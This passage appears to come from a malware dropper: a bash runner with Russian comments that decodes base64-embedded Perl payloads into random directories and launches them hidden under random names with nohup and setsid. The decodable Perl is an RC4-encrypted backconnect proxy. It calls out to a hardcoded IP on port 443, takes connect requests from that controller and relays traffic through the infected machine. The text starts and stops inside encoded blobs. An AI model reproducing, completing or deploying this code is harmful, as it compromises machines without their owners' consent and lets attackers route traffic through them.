YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #59 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #59 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 60 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4yNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 